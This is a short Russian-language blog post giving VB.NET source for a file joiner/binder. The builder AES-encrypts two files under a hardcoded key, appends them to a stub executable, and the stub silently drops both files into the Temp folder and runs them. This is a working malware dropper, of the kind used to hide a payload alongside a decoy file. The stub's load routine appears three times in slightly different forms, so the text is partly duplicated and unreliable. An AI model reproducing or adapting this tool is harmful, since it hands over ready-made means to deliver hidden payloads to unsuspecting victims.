среда, 24 октября 2012 г.

File Joiner / Binder


Joiner

Public Class Form1
    Dim F, F2 As String
    Function secure(ByVal data As Byte()) As Byte()
        Using sa As New System.Security.Cryptography.RijndaelManaged
            sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim ofd As New OpenFileDialog
        With ofd
            .FileName = "*.*"
            .Title = "Choose a file..."
            .Filter = "All Files(*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F = .SafeFileName
                TextBox1.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        Dim ofd As New OpenFileDialog
        With ofd
            .FileName = "*.*"
            .Title = "Choose a file..."
            .Filter = "All Files(*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F2 = .SafeFileName
                TextBox2.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        Me.Close()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Try
            Dim sfd As New SaveFileDialog
            With sfd
                .FileName = "*.*"
                .Title = "Choose an output folder..."
                .Filter = "All Files(*.*)|*.*"
                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                If .ShowDialog = Windows.Forms.DialogResult.OK Then
                    Dim sp As String = "[SPLITTER]"
                    Dim buffer As Byte() = My.Resources.Stub
                    My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
                    Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                    Dim File2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                    System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(File2) & sp & F2)
                    MsgBox("Joined successfull", MsgBoxStyle.Information, "")
                End If
            End With
        Catch ex As Exception
            MsgBox("Error(s)", MsgBoxStyle.Critical, "")
        End Try
    End Sub

  
End Class

Stub

Public Class Form1
    Function unsecure(ByVal data As Byte()) As Byte()
        Using sa As New System.Security.Cryptography.RijndaelManaged
            sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return sa.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
            Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
            Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
            Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
            Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
        Catch ex As Exception
            Process.GetCurrentProcess.Kill()
        End Try
        Process.GetCurrentProcess.Kill()
    End Sub

End Class

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
            Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
            Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
            Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
            Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
        Catch ex As Exception
            Process.GetCurrentProcess.Kill()
        End Try
        Process.GetCurrentProcess.Kill()
    End Sub

End Class

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
        Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
        Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))   
        My.Computer.FileSystem.WriteAllBytes(tempDir & "/" & drop(2), file1, False)
        My.Computer.FileSystem.WriteAllBytes(tempDir & "/" & drop(4), file2, False)
        Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
    End Sub
End Class

Комментариев нет:

Отправить комментарий